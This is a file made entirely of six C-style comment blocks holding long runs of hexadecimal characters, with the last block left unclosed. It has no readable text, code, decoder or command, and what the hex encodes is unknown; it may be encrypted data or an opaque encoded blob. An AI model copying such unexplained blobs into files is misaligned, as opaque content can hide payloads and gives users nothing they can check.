/*6a50478f3ba9e8a03ab2f6c0bcd13baf485c30ab1f6d31af6e0d44fecc03e63076f73998ed2e528bdfdec5ecee5e716674779b3ce3bd39c31ece7e4b80e3b01887d046ef2e6b445beef17abb3ad4d2d50d48f34de045e1989ac80f33db5c8874963f969102ae90ee36fbc200d3faa462058d883f0d8a1d7c898b1843d0e483200e8f5c519b7934bff3ac144935bbe6c176136aa1775f3240e0974627db5866c4941cdb6aa405878457e1280713e089a7cca6ecf2070504801f02f6cb11844ec600704189d32c927de25b2b846d6e8ac80bcb82dbdabcb83911da874bffbf51225060ba1000cdb6894c1630a55b95ba94b04ee6986e95ebfb48b5a6bc50fd218963f9bca0bba30da2a8948990ea3e846e4a16b783dfcf1ab2659596dfbe65ba646ad6d90a3a2bef30d16d319dbe3f38316f4c7f79734841716495725fb6eda6e20a314c97b3fb4cbf454eff250181ac2989093ec1f8e5afa0f655345bb562c722910169d386c26fcc93aa66fe5afe1d7be02acce18422a31c3dff17b865955234945064cefb50896f6e31ea245d3aa33823f14f98bb9edf82b4d6888e4dbff6805cd62d1c3860175263488ec3d020b279b36a1726a12bd40789ef191b7320c087e4f4d00ed02db63c0406a02b960c6592aa0b3d567411308b39922cdc11120b0483c2822c8f12473ae9f8c2e591f04e06df3a47b6a8fa4261f18e7cef108c2d54738a7c347476ad35ce185286054bf92d8227abbb0df820c9a83030e1b9ba3561f9dab6c1b278affafab1c049990bbbabeb351a80d58a96b13d836bcce6575cac89408503fca62722e06b22c936cede9a14d9529c77663844b1fc3c2687b83bab279aad09f1059184bfb7f68476516a5e59b079b7611bdf56597af9db2b5034bb1af4a3eef9e5f02cba94e3c7545ac3c05a591ad3fd755bf83de7bcce486c0a0d1143a7c9fa9485f309467cfc0ea14e81af73e1aa202ce55610acfe1ab7fb605ce037401e47a3f9c49b36493a6b3335c23ab9df47dd896ffac84558b2469c238b8be8ededb0a097b351760d447710fa698bff75bdfb759c9ae6e08fefc76e1674a38e4f3be71a7d8f4ff5d8f53f9dd37ad17295cdf2ceb62e8b01663e2f785006ed27574b595f85885860afb607ef8b28f49fb10ade0aaa559cbbd6f21badcdebe3f7f0c7ecef87f74c6c587b1847018e23446ad2a6562736194ee041aa915caf44fbec206570aea2e5ccc1265eda33a0fdca759bdeb3566d328b9b253afcfd8b4ec0df5fa32df9861fbe46178cbed066981c80cdae3ceb2eea4bbc9a5d0ce58ad821cf067946caee7af420498716a36457303c9c6d70f7f806d7c1e7cb2529f6865d441251e081fc0b7ff3583e49639bec1a0de948a60e82876161c4fc57e02e23490c2dd5e5c7131b3e42b2fc0d4eb3856ede7a4af10fd67c4cfcd719495b1df1738aefe7aab717dfa95744613244091d7d5cbea1654682fad65883815b98fb5661c6bd67df124fe684a990179e528cf95a55621f6f8a11f38a15decf3c7f72def2f5681dbcdcc530c1b231fa12bb11c3b0589eb07c8d7a25b9b27077a74e059034b5c91669f2dde7db59281428219d673200df55da81b629264435d39fe78e14ceeffb6a91ee68d6b5a84806ab6b84696b438a1ac5b6a74b7b1b5220bc48a84a0c7fcddef563b602e90a7d2c5a1ce1e141934151aebe3a19caca38792476772947160900d29a37c37a7a241fc6b33035c42631fd0a1bc203638b286216ac12ff12ad346f2d414aadd13b4dca76eb48a338de9c11d93436cfba817d4c9e5a2aff62b297a7dbd0feda1aef03d6efc3d8e367f9056506562c0bb4cb8821a7a72cd65d9457bfa59540a663acd0988bb79bf63337209d7c3bd396b8a9ccc0ba4e41c16638c339da18c4cb8d4a77a56838bd3f41ac534b7b7896c2c7f37213c7448a172ba7fd2c9736b0cdca37c7b8aee5c9c0fab9c39014507b8483d9f3ccbb54a2a88655a60068890d55c93e3a4e1c853b38933037719cde4c8b3b737c701bb5504400472eeb3d8ba80a9c648c02194b9d1332bfde4648a1aaf7d1f8b3790ca2ae963fdf87196a6afd55b07a8e1de9326f66207a9b4088f6f47d2fe5461d3a0269d692517ad5ea1582ee3a061831bdcd84c0e3a94c35d859d5d39efea1a8b0c4e0f0601bc8a8fddb4c93c85f29a86377b01087abeba50f084d234eb77c47c3256a886ecd55cb98d44b9ca00295b44480f93fb021b215eb432912120af423d2ceffb63c15916f0a77f0a78199e8f0f952622ab71eba64a35bf144351f61042ac697d4b79c4ad36d6af7a14eda023cbe88a798f9f6531e55480ab7877aee048255e16e11661057648d53331c736c286b1f91d460360ef82b85159eafaed8536f198f8a6e1155d84937aee64963ee1cfffbba628dfc249eb786a32e7eb0bed1c6c31d823d49df5617d1cff3480225eef85afa1cdddc868d45bafcec805511d4784bde6f394ec90c62dea71d7e0286f2119ffdd35a4ba8dbd928bcc947a82d6aed9ca7cbc381daa9c3d44132f6340cf5a7d93c3a4703f57469deccb1b44ce6c2dc53ce422f06adc1412fc3420f200612301ad52a7819da193d785e0e7b49490cde8c96555679113b1aede8f74aca1cba395e9b4c9ec3a273c65d559da0faa686d70f4b3a820f1b0b721e7f8415e8360a6f7cb7f1c4d2373a2bf3a09f16f2fb3682b9b8434943c9222451248dfed3758d4b002d3a23b674d676e11bef08b8cad738de87deff813c0c4603d325a6890ea05e6c58a227d8966291c36731c13ce21d1bac129fefcd2f79ed9d5fdb5e8bc6933a2e9c*/
/*aa7de0f9c353277e670d6b0c0c59d0a1a834335052c7818a095ae858673579405aeb94dab867792bfca6f5b916d3d6004576b476e31e6a522ab1013d2e4c0060587c2d9f7a1b5a9630026cc3bf49df727a2874c883045ca66fb43df26db665e99e526e1f072d6442050649787c3261d848a3c34240063912a2892ebb7f28b506001e963de66afde52d9c7d115ec6c30d0d7949de431e06e63842c1dd4b5aad612db4848e297203cb3ef8e9a642c50c44887579bd60193a40a3b59c1dc0d83888bd9321c5629d5215d60e1e59c8712fa0a158c0a2375b5992b22bbe41e824902d7aba21afb9a4104fa2dd590901685d5dcd47a115640427396ea78debb6d251ee5181d5e269e6a9323ddc68cac2e7ee8dfb1b0bf0c5d5e73b5ab8ef0113cbb4de4bd1be8c94728d90bbb65a9164984fa50515980ce7629d609d5b86502762436167be6ba0703a6332f9804157148576dd293da5e4b6b05a53ffad4a48cc3e621bc49da3473250eecf9e4f887dca372d72e06702f11033dc9ab4bbd39145202b04af2318d3e1d20ff3f5c1a9514e0d5b711e298d9eea7d8671acc59846e3071bd7537a34acd883ba81a80a4b15d177c1b6c1dd639156117ccc16b5933d65a7037c80318e57d7c0583cb477826296d9ea436a4c78e995f77807d28d8d57174dd7906d93b5ab0625de4f4ada262762440f538b4389b9ed50b11d514193bbe8270b73031bea5ba818d6cf4722819a529fb08e2e955ff88bd2ee6106c14853bbfcc86fd6bb285d44b56abacb073c00c42f206c1d3cde7c08649ee65f59242e6e2aab80ad0bd75333cd6b748bfaa75137d25c609e0c88c48edbcc71ba2c546bf53e8705ec3eeac8d65f045060c48e60cda7b91b9876ec14dbe886d40a0d2bda079843342fd3ea1b984538f951e301cd392b28ebe18e4e0afa319809471732ac05ad771c64f25c82fceaeacc6f343f686a38d285ee159848ecbbc4104ab17bcc006ac497e2894411e7551a6c56d44c88724701aa4704e1d07801f43958616eed7fbd7da4b1433cdabb9447711b6e472c897cb3370a07ef6328c2788e084afbbfc6b8c2904df83003731aba01d0593fdc9fa4bbd77d2d9fda66390ed2ea2966573f962def468da95210896cbb85c598ab65056a99a6f60b72aa2776db91567457cf267e8737173e3849c2e08c0c9e6739ec25a315bffc7988981e0e0c200244416dd3ec2a186c76b7124134b39020c22559a9e84a951148ddb3dbea3c5d9b2605f32c43810c65573cd8834775bc20b9e660e7f3b83a9f23f8f3f4d81c18f1de659b506ef81399ee10ee6c66ed9901752a9f979617ada64cd29861d5d3356c2d02b6646143938649d3d1df2cc8b18435204f88f0f65315bde1bef7bc6408a1161cb20dfc58692c66335aa69c29cfdadf49123f74a58e13790b65b150534f725ddbddf8ccc711f97d3b46cc8ca1df691c3cb347e25386e8282f565b8848b3748061fe1b528f18027e8f1d8b84a9e81348d0acbdb5107491a4cbde64fe8f57b190297522375b0b45ecbaa41fe383714b82f993555bbbef651e3b23a7dcc95f3ca365a85c27ee21454ac0a9e8ece24275b5d7ec3f3f983fd6d89e7f117f0cb9f068f53151eb1a16fa8e48c06af10a0d27aa81f03a912554babdf426195f55769d00de4956811566ca1370244b96ef40b08bfcd26318b79ca4c8c488cb3816eb9d2cc6b46bcccd54b6b25107189352445837f005e079e3247fe8928a029e7e601318f509dd6112348c2a176afa471bc145fa1a2198be9635272b5e6814972073252d773dcddfd942c009153784b3d6f87fa57da884ad36260128fc310212f4ed6bd20bb32fdb00a243ad6fd4c9628c4a1f32a81e9662cc264c10e2480d4b9b7c1f8fd487e0d0fe7702c0c8a0ae972ccb5973e5683e817367d1296875048a850d59464008f1abe018d18551371b7e4cdee61f4339798b06221edaf6093744b27cca2f0248335c63de6a8933d0c47dc270c497688f11361e2adedaf4bbd13f1ab83255b4f88bf8e8fb02e502bfa3de514d3178e02b684f47a3c62605c912e1272d475ec27d6b09ae90acc3e74409033018b9a8b2a36da0113f1f3b771c84cff35acfd8fbf03af59261c26426c3d34323a975e55bc4b22e31bd3cfdd5e39d59ccee6b3b403104791cbcbd7163af46f05b2eec3dbc51f5fe67806bc5d5683a484caca610c7d58d775811791c6f0be67b481dce7ea7e8f7444f2f7fb59adbf27d2571758bb364174b8e4702942d6656cf2369ab21c097bc7e618db509038d35742a68c049ea6569fd0bb558a0b7e97ca7bf542f7daa8ca09617d1def387c373f0b21cf02d07c90c91172dde1cec0d963f775d0f3d8ede2b48f58eea743428abeeb6182b4329abfe5f7dbf992cc2880ddcc8689001956fedd9b734dca92bf18dd614c3b9fce5a3690fe1fb6844d2e5c002a6dc4e9b0695fcb0fe41c00415a9fa70823e100219a41998281d15189975b57045a2eb8088b9c2e9ec7d77ea0dae94c965baf71e0594c24344138a0e63869b522ef644c151a2d2400d591ef1a135672aa4837d1959d5f5234df3b3a1d1689856c547f2a503011de1bf05c0992b03c136550ee66cfbcb88585afa852abf681b7c64fa3126c97b859951b00d7002495cc84b82f97e22220390a7f153e9f77bc8c36f6d8df6c17664dbf1abc1d419abc10d667a41d41d87032d2ca238baf129089269c1f3eb167c5a92114178aaec9ddf534dd3b318b1e516450d01a9ee654d50161e080de0a875de0f1aa51eaa6d3785ded11d872052cb5a49be367e86ab6b11a335f2c2ab066f4443c5*/
/*2a3b087d2a19a606a53f6fa134739d700af4b01a41cce312fcca8cf7d7d3c5f9214ca20ff89c0997cb647feff9bbdce0cd3d864c34385efc63db4b87619172af232964d109125724e25708b52450aada82e34349edaca2507dc2ad1382b1e2c67ba6baad9ac978c397b210061be46dedf94bcc2bb1d97fabde4e76fbe1f288fe89d7ee6af6b01ce491b508979aa125ee6ca6025ba68f9674ea90dc8bb2c1228c33a2dfcfc1a769ff33415342c8f4256a7e7ade6848932ebecbbdff553ef19883d22f2815ddf5087d87b057ba83e4a0b69fe56737d878c0a4a75122f1b0660a04334badada705830b608e85321424c6f6aee3b2e698dc42d9126aa349042a5823f79c376640ed54239188c9a9a9eda9db41649b30110a0dd22b0ddab3e5e344969c5ec061e2236eaf0ef3e53f175d0a55682484ac0c18f920bfc23abafe7ac07be4901f349c7278a31a91c0a6f2a8c03a30dc6f38416f8737977cf6c256ae4057fc5fb50054499a720fcf5acf06e5e45676ffdf224a795087f5471a0452ffceaf3c507967a8e494b3150bff985e32ce9f54ab24a9bb90ac382ce9896f80c14b6ecc89c39808d2b2c55c7f2a5f77bccb21e0888f067be8171f9be150ff651580f49e53ec9d812aa998a1589e814fb47bda6a37be80ad7a82f55fae63bd798529693b97ce480918af6e2c5d6d4967cf660242cbdac0375100a6fbbb0e0be0832b45277140befd413be6da02fa21371df7c822f5a23323a3541ab860e9972af88cd57cc4886e833cb3dc82014cb188e42184e7b179c79d2bdc328fa9169d71a57ab1ab3595844c129cf88751a44f27e53a56e2e3242010fc8923cd5ed822cd3971c6cc3ad5d61d5ea61e815b6c37b2b92c48b5fc6cf8a88ad22b1ea7efd11bc78f5f9c9b17d3bd76be7897476a9a6ace14f59523495a16d24771633dd4dfd6c0ba7cd2bb6b1cff5324619b718dafeeb8ecec4e17cefce1c19afc345e422672fed2f9f6a61032cc23a2dc2071577c300587223af9165ed5815600b34bd2655e2fdba2becb161aa62fdf2832e2fdbc56627bc3d810a1e724f8b92f6137f4f1a76f153b80b6872ce67f7e6a0e143b738319abbaa9baa4bb1e308d9d00acb8db1e7edd8bda603e8428f26d296b6b5c020ecf30e398940d86bbe367dfcd085fbc848458df9446e7b590524ac0ef0546d895333352b1a26511374e4934ed85846160d91e061686e9fa2bc14d62933d4e97f0b9f609623ccd7dabe4242074e743789f5e66b04fe411760969664d8283ccb1e4629c2117f0bcef4fba56961a97b7ce3723598f19d1b7df0f66e712fc4edca3d5720e7d08514ab87abe604856f7d5cdb549caf43d39e93b355fa5b2aa751c2ab10d3c7c962b1cfd5e93bc1fe75a751eb819d4ab153163e8021792d797e2d1382176a25b79f9c38b828125566638d686823d8017ff615f9144f0830f53cabce6145446daa4f523aaaaff15b3ac662dc51334239e8e32a6d4f054f0a4ec423375db940d6b39bec4c87bf90a8e1c0f4c42655dfaeb7d5c5939fefd20f7a7cd356f57a884c8b1b3a6cf25aceafdf2b5681b6f90ef1cd373eebe824ff0e938846936beb464a529957d0911514c5b2ab6ad0ff37f36ec004bfb1d1d99a126532eaa578af45fcfb6ac66f814643c1c98a94cb61506db71c09c73283a1eaba1601e5755c7a2c4ee86214919c5d245bcc2ea62621431179f2837f388d1504a080e47a075b702e1c5779559165b7faa21f152b4e430648de18781ff31ee99e774800adb73691ac90638d6bc389e1f4129bc0a26bbd81d5cf648612bd2f295ab72ba957702f87a516defacb77ba0c22f566971cbe61f4f86eadd417a7eaf8bc3886cca65dfc683879e26a53e51332f666dbb9a6bb2b76d8dd7da372ec741006810d4059f27b7cfc521df4bbb73fdff121bca450faa54bdd1e06b0b777d99f6ab70c8b5f77e748868e676c5fb3573bc156e4362cdd85fc8b568272f6eafe93b36b06cdf2e9630f1a8a8aa7129d518f7c84f590603f989ce2fec273af0bceac691682fbab5bb8b2b6d8013251a9861566f3927f592e306309dbec948fc0f00417291ec8b19bdebe2a4048d2f3aef8722a21191667c7990d82e840855f19478bf4bb7a0567334a21b79ecaab5a55399e90441571af3119b192ae8b4adff3861ff828358956f22781435300e4dfb713614741f2a2dc9b6cb46f3b1c9ddb87dd97f0815cfa72a416be96f0941fa9b89d0ac94876f2fd878b14258b3ed00e18bb98e24e35ee44a741bec025a9bb36c8e67e12ad95c02f37d2645d340222bed4a1b069d345482bfbd287cc4dd1e303d6464886ec7d09340ab746721f347f8b4aac0d2c3eb2fdc95c6d84443bab21f597712a7f628174f4a4ace2199fd9be7b2a07b538787af8fe17d01c3b34ade1fb5c9edb4133f2a2bbae14a98524895724e00f7838036315e5df9a6c7d04bc04fabb5ff2fa8bfad5542bd02164fc3ecb572f429aa9bbfc665a11f35a28370770713ae0723e4af916cdd67cfeef68a64c12efbab4ecd9129afe056836f08e724987c5b4626d9ee10b14a695d9c74b27962303d1454a62c6630728e8e01a0d33cf7bdbed5d62682030e191f3594fac2da9198ed1288c04f9dfb625bcc5f90efc3e94caefd41d22f046c0b0757e6574b2ca8eb0854def45409a37390c11126ec217dff1d901de25260425d40feb30b6a70a6f78bcb19de56083c00bc4bf03e11e59006406418e92c370fe9da8b8952c2b827779edcb027845668b82f69702b5c3c6e23d3ddc83b8cabf20a2220d5f29dd33464f9d0a19d65e335d4b0ab5a5a75*/
/*4c1d32c6654f2415ca45cdd14a62391e9dda7d78b2fad1473a515a01f8bf1622425a959ee42e91739010e11b4b77a61a9dd8ccf9a0ed2ab8c384ae3b1c7c195f27d8769f0228d4dd2aa60303f745ac3d7b5d3ee6ee6e16b07fcfcf6ff623f30e125dfcdc251d4333f9ed7272db11f38d23acdeca7b34f38181a598ce43008b00dd1877df17f4d6f525adc9f7e6c45398e9002e98409cf991a2a2512dc5adc2825d0640868de26a7fd12c4c01a8b275388e02c809a5abbf3c625536c5e015d2220c7b5b4d538c38ee2e6d7a67ec8ff405603ed6764a74a37a0946dc0a7e7f832c6469323103dc1e3f094fa1f2d816aaa3e4707de139033cfc4fe18e4e0227ae23629b1b3b48a867c2e3518d9d5daa7057e2a48cd93f1ef07a2d22b52e510e058bc490b4d1ea751a0d4152d713a39c4f16e4a805f9e3a7b20946e2eed4ca4b7b01aceea964abf255b433af81902afbae0e6794ef58f3377f70a68284dbda46c93f2dfe3b8e218c466fb58fb64700d24697415945f1092f4021aceb68c097f7dfc2c98cb9eb7edbbf580418ceeec370196be3f8768f92bda04c61fc75ea58389e9d409e5b0604db1d75cc6d01158f9f299b382f864c607e5ef7f3974b0ab9940f4251b00689c7616f0ce2cb46777af6a1e3320000d92799b706725aed70acfbbd57a56a89a9fa1611aaabbd6c2f714fd7c280ed118910b93245de4a7a7520e11573585be9558dcfad1163b60caa12477c34e6a35d24b499e62d5d81b0b419d9d3acc129350ac0d0c30642dab2fc5855a041dbcdc1881ed8a8e14e2a533934a1b5d8ef34a88d9fc20684196e4f1a2dbf63137c37f295e274dc1f842138830802e8ad7d8d7851e15a52d27c4c05c529e8869633888e95a6a93c21d7b4e73c5ca99a1eeb0813fd1f24d487ba5f515355232c58f90075ec4998db8177ce2e74e3744eb76cd367a93d2b03d448e00bc9b61fe45756c4f2afc0a7a8b3f0bbc4ec2dc1f1874c49c511bb5fd590324b667cd13e2b7173f432bcf7759961d8cca1e37b78bf8ccbb117829c420f09280ca09057c97f95632e120114805c1b93b5e8fbcdd0359805a6f4beec46e928bff0e1eddef10ba6a87c2eb7cb44ee2e34decbce214987fe0c9998525c185668f85bbd5db0eb5fc2db5ec56e18ca81e834213a5b8f2dd709ff1ba39f59b690b8e4b94750b0453ff5c4164f728653993d1420cfa1d1ad743a96999745131e813e6581b1b14f95a7f9e66e6b2d2ac008aaf7dc50474a0396f064376efb80e3c2755beb5ed1eb552522f3f39ec0293897e0e67a2ac1b1cb9f7e40ee104d13b75f95de0015e6219d8cb15a2fbd107c9d34a91e28568d3d41e4336a860e2fd81b0b9ec238022e6cf5fa500d9ba0552c0fea3cfc33e13a79586382a84f96a8564faa1e9fae40b32ee63344867069f35d23872d310a9d599312bb496e2323d6878ae033477092964e2307e4513b50bdfcabe1ae3dd1ae3ac67c8d8d513dfb6a9c5d9b74ab4a499e9faa33ebef9969bbcde6039e24cf5f405954641c53927fd277f2af2cf4758188b4b0cf78c7845cda01c59da78a4d153f7be3c8e025a5748eb6fa8a537fa6340b48589eed6dbd83d7bb0a4bba7493714c4ce7449ef237e7739cac7e1ffa37f2a318d6b17bd99afbf23022d9ce6c3e0ec7c31a8d50848b714321d2108c8cbcc4e409a2eb26f8c59d4eabc0d7acfd271a3ec77355ef3fe2033c7feba1503717740cf9c61fa7731644cdb84535fac2b16591cd262fd24d2dc9ea21a5672b059c9d36c6215fd2555f3b186f6c3bfaa55de7f28eec635c331f67ef1c746deeb617c8bbb5d48ef050cc59f0a1c48fe75be1de98aefbc5026a57a844a54379d2c52e8523d3e8ba9e2514dd063ec4c3089fb0a3eeccbf661419a21131f30660fd6d0eec17a767638164d36d9ed673e031807cb0d52c2c325cc9d23afe8be670e1b9e60c75b12b1ff1312c1dbb03afc2cb347fa62479b674f54ebefc9b816c7c2b9f1e7deae62d260fbc8e12f0bc045ecf2ca886211942e4c5713390cd5bc45d09617fcfd34fec5fae5366bd371d20589ac40792997143a7fb95a41f501e1e2ce88df8b896a91fe22a6fe9c28e47cffc29492116e46c00b63eaa0cbb8f99176904f58a7bdd830739ff872eb59a9ec32c838e53c0b1fec67ff2280e366a6ce8c2d1fd3cdca99892d0124cbd4c6757e4cc9ed3f1506b0e14412e6bf0ca9d56f17402d1448c5486546c02dd5d1264bf8fdc39c74b12033e03bbd8e37d9bf6da42f8dbe4a6609073534cf907b602deabb8c478e28e0e36009295b4399155bd298ecd134db10eba0aaa6b7c6c82b0c4ea6eaddc11b3c6bb960e65352133d0d1c7b61144804423c491042d437fef2eec7768985b886469404ffd66596b81591e140c030079b56b99b5bbd921ac6436573ac81572fa30e19e063d54c5783b25ba3202ae340924bb67a927df385855446903510a3c6f96d261252f2426e861891934d2ab0a1f025aad84df1c88d1471fa583ab43907797bcd126bd35462f40fa4f27b1afee3864714c1f11eab4e053d623de69e726f1965ea6f56bd347d7c5a8103cbb030816998ce01d31feba637b94993e89c36546f6ac4c32f1d46fe19ba2b3830f0198c1a6b3b6d42e5b04e945c3488931e73857f8b5d2ee32dc37349591120cbef7b13b5e3194a1147a16d95c192b36a26b38e355cc249f72d570c2a857aa3e9760cdc36c387ed6c91f7db2d3fcb025db019bdd33576a42e83b324533567ed64eb9ac4fa1ef54ef0edf2baff15cea2e91efd24a321e8205f4635f060d38d8138de5c588bf86c20f78ba4c*/
/*50cdd59fbaf27af6ceeeee1a5aa53d78c011cc8fa1e2c92014549b5821367e9d4fdf25b277c0ce987726e5f0bbcb5fb9c03a9f99b911e78b004ae2b79bb2bcb6f17ef8744188914c4b77349a1cae865135232c8b525d5fec3622b1ed302715365e0353f34eac9b5cc4cee2c6c9faa941d9af8847bd571c9433766970b181fda95cc243a1f669e2eb5a5b77a4a90fa26533a6e296cb88fb0849d67e6b9a2824bb221dd2eeebf37e5feb142154cbd5f95adb709773858f7451e235d6275e94a421faa9bcef4e2834e2277d9190f78bf548c5eddc6be308b1ba04e0adb7329d1bfde1aed54f4e3b985e30888e0ab5455427b2318415886a502a914da0bbaac7eb474887a13125cd437e15c059854931cb12279baa1587e8626810b31a94eada10aa86811043af49f74c2145b32f75d65944af5cdcdd88b7410ccf17eb661805afe528a1fb1212dbb4389b34f6c871840e4d72021763273cedc197a43e103404e2d80e26bab1604d0a01eae7e596629a8dabd03f050a748a5782c8462e78d720ea366ca297a2c6a7ddb8fb73d11b08184c06c3c901d20ddb6e663307d42b804659fc5ad68d6aada5a0b01949cd40ba2b5011fd7eed5b454d2b50d5c7cb9b639e73e4d8489edea37a97729363f5d0a42e1ebb927fdfa5f525935c9535ca12ed3300ceafd9f7c05e64e18eb5518a9fc94465fe89b53c5ccbcf6abbcd95843aa91d670d51a01f774fe4b32484ce009c1f72730e42dfa3ce6165d3e04d6799604e27f4d194c0096a61d5c2745fd2afe336faf57f746e3966584f1416bf3240a619c81d1e2d8391d7be3f2a53cd8a0d504c78a51bfbe9b10f419a9d1cb06e9b6c76fbcdc2863dc2ac47e44ac17122553d5fca787faa027fe16db4ec076046440123445aa477cf2c85d4cfe74548a920fb1ab83102a66a4d07662a9a417a9af0bc6fc0e8b36cc60ddea5e3ce3ac4c83ed978840a7129abdbee2bf595d6fdb8d027d89b42b84ec63e60c5599a7aab35a23e04c0687516f0ec0f74ffbfdd2ef499ba94e9fc58d51cb4ab72e6f2c1d14009aeda0b49c140e44f414ed59fb0d69c387d3ac5b335fdd88d8aa6d206b1bf926f6d7f65aa78ecd8557b8be9831825dabb4a7733bc3e9003615c89d8c6088960b16721bf05c8586435a330a7db65cd464dc7e27e659d03f695d113cc3e72952c91900d9c7b8665b2d77c59793c78bc13d75520314d712a0a2129cf9c1e9ab5cc602df1e1c2d8c5c153a8a0845bfd37c563cd30a69b24685707ff736232243f75c995de5989da03035e7188228f5ac8f4722fb3c84cc554f8ce5075d9f664c7888b37d4c2249c7ed8c922fdada39f58cc2e457025dae0b050462bd0187a56d657ae222f50c0cd74ae6e3140992770986273e65169ba917a3f9ad3d521db1b7d3b2c5bc11abaa71b2676688b741280bbc4556e55f39fbe193fe2682392ba240e3396210650fbae593d6555ecb68dbdae4dab63252fcbf22e58ed0b6e984c83bded437ae0d9b15874a59474636c6ad162d1d7668816860d49118ffef419df08e783906e368e65bbb3c7986a3897740e3a29c144d5b48fe0bf2bff5799b02213dae02a8807556edfddee4a1818e3f5bff3cb75123f59ee0c9884bd2365ccb4a4dad7f875d2e30b1c8557200a28e260f71599d77338a17ae7d615e565d80ed711208b58deed809b10c605c707453ee820cdd71c5e65beb73443ddc8b3445c09e1591f4c34cdbd62df7b8d64d850e49356ea2e9f39dba1a9819f1cbb000645a96586d261835b96c109f873c289f56aa05a4af423f1076eac6b2c347130ebca3c1d827ae34f3b194863dcd0eda8190269c4106d6175e24bf2476a5106b470b55708978361145f1c927db0d7cd03a541b6fa02331b4cbbdd0cb7a8a835af2d580b3c8adc677d04202dadaaaeae8c4d381335155a453dcd5f208e7f54bdf0dee8e486fa15bcd2614ca745076ae749d8ca953d805676175782c558562f71f7273aebf848dff1d4780943e6dcd4b2b3c354069546d3dbe6d8bf0125bb3f3f126507e1041075b354928d95782acc22d510b9aef35c684f20ab3a943a5d31c660a3224fe1c51f8122a43fce669d707732db52a93ad45da4e30f49661dfd1a02bec3a8505eef8177cdcb9f61c944a7a8d47764251eb3c7cc598237a3da7cc51eb4d7afbda093dd2fe6f1ac5491e0ad50b5fa786e041d0c544ccb29603529caf373f023e12ccae0956030f25a37f2ff74f3ad9fe669218a60e7522ec4945d65037ef6a973c4e22cf068c432a0e7ecb45eb488ce0e3cab574360756e6f7212ba833f5bab8c72ac5bb0f3f51e7ca3d3e47bdb2c19da1594e2517a525b0632ba94ce5634445361ceaf79649a5154420d353c00ff8f39a340361af4e1179fb236f2d68344dcfe8ceced8185f903ed92d57db07de65dbb717fa27048fcf3ed2afc701e63c58de2aa96f72ecc6194c0a2280cb91a289cbb08e183e1eeb78760b16c97c5813af6faed8089b35327312ff804326d84034724574978439c32bcf03712c6a5a5381061a70608db80ffa1bb35cd5780b16748fc87e5f1e7ea1f3dbe9e9c00df783eea1d95fe47bb330bac62d7ce88d44a8aafebe822bed1cfce0f6b4418e8eb769906193865a9c2aac2462e2fddc563482d9352226e8cba3c64664d6c4c3a3766d7a1cdcfc554725bc5bad86c43f4ed796c4fe7d02d0d9bdea5b5d560cae5e6b1241ad1179e5f23248a32dd59af13ece88dbbbf08958f155dd33d0691f4b91164f7f4c45e42fba686811c848bde92c2d15875143676b5d76cab20a652aefd4be792cb2bfc0a5eff8e3cabeeec*/
/*4db1720c6256adec4e185765100f93e60d6ece7ef7c5426e96ea78a114f145d4ab2f9302613202eaca56d5a4d7078135d9b757bae95f6eaa4e58b2005e6be1269c9dc39e6ddb2fb9d977803b820c52fa0091f69b69bc9f51ad2c11bd001bda78ef049506304a45e604656f9e619eaece00f6aeba131067a33b8e67a4dbceb208a78363dda2cb98b246f00f89fb893ecc0fefd1c0ef0dca603a03e34f79f39388b1d38f39f1fdcb96a004fa1a135ea03c1e4b8eb1753c00a79ad1fe371be1e460e2d64f71e33a2a198de526fd5401b32f3140dd8edaac468ae335efa240c217492f6ac2a4b74a13b0bd714c6b79b8081899e7f12b2c60cad8ae038a4f570a658548ec57cad03e8847d96570bbe4a36a6118334013adf31c093a59719814fde5a3860147b95f0aea169a27bb17ec0b2942cf214944441882f438d03ad60d5032612ce4376b2aeb2f81147d5bebf6aaa56154b94d531494bdddaa8f0a091cb9e30da5495bf7f8c6c8af540cbd3603bcc69844451253348a9756377fe374688fc114d2cae7674392c0350f98aac621dd825773c5b7ad7b8074f2c6d850e35b1e5e5a3b7cb5b5a962d1c83df77a053d78bef5c7bf917e4dae0517ebc3eebc7f33952ccaeba2751da9bb6482393de1c459d4af610666928ec134d120d738a2a579eb93afa97b3fb73babdaa5ac9288bc1fbcc406843d5ce556bac76f2322dd2924c79de89453f2a1bedc21e1372a3bbbfbdd23faef6aed36917045f32613a428da1d2ed11508c75837e7066ce728220d4a4b2b3f8502c9a3481c58c7917f8e03b3e2f4e564513aa12d415da0b14c48b7fe5d4c42e540273b25d2ba449cf221c1f095e10aa7cbcbe1482077c91c4e2863444bba224db1619341ae3d44ad874c5e0e4ab24fef40ab7b5348fdfe26b784d881de74e0c10ab37875be1041db2039093285420617bb39a9bb1508250724513e0bb446c1de64abff2c0a0eba8b25aceddc96c4a96e3ffbe1246cabb617f0118c9cdf4031481929e8e9c37a9d3abb553337446cb687526191186101108d7766e1b63b2e88833bfd4d35684ace819234aff46ed95f84e0b96f64b11e85bac12ebe1b519b85111be66ec4525879c08c0dcaa038d87cdb19dc30c9a419ef95ecdfb89e1cf23a7491d9cb6d6ee32c2e060d59ccd6a7225d99a6e5d9dd6d0dab81243da8bcf448b8484da34c7bdd3ae43e5b6eb3471dd7bdb12876e05f98516b810fb2c582fb05607dfd342fb930a3ab5b2c63088a4cae0ded3b29a6cf542ef54cf93348eae03ae0fc54d10068bc727f7d5407baa70bc8c7b4bf2cb26fdfb23b6d8d9e7b430182fee0b810dec50d6a47a6464c9e74ae06c7b18eb49f202944c7e718c8d041eaebaf2f0f42ca582e8514c91b89e3eb05070906748d0e82f6892e077f14eea27291ae65e490dc4e47b644f49a08c3f0dcbb1cd6309df8568e62f8ba85e188edf0cd5399d113439a513c16276ee0996ee47b0f099dfa42228c5efe668e6bc1801491c4a003210ac7491dbf6e9cd907fd0d482a86dd7af7c38de25ced8d20532af22db5d5ade933b555df91435ed324574a04f91da2b0d4ea008acdd1bd2a719196eb5fc6a1417dcc281e14ff32696d48797bce93352c8b67a9a24c387d6ab3c33369a9c686bfaa063e3e294fb023d1c5ad85f0e99a7cb254421cfe74c5947ff3008ac2820865c3cb2126e1ae16ecf7cbb7a9a2ab1a50104cd227797a8d2c0319c0e12da11e9bb2fa4583116ecc674f4152140e4a0345d810915019d899e8bd4ebdf8b229254dbdfb24313f0330dd6cbbe8a416f780dfde357e4b341f43e7483522a72251846165e9f97138b6acd102d9363a87bc2894a4790d8a325cd977ea91485c35a0ebb34705ebbf565d8457ce635836d8b2ffcc7d62cfaf6b8428035e1f8dffc8e453df8fb47421787b999f0ab425fbf77667e3152d41472e0e53712e4a14a0790e38c5e6d931cd5fba2a6443c26eee7172098ab9e4968d1d72c3e6d48dcee2c89bb5fa733bd161eb4c28b9eb772835ffa54fe81d8b63b2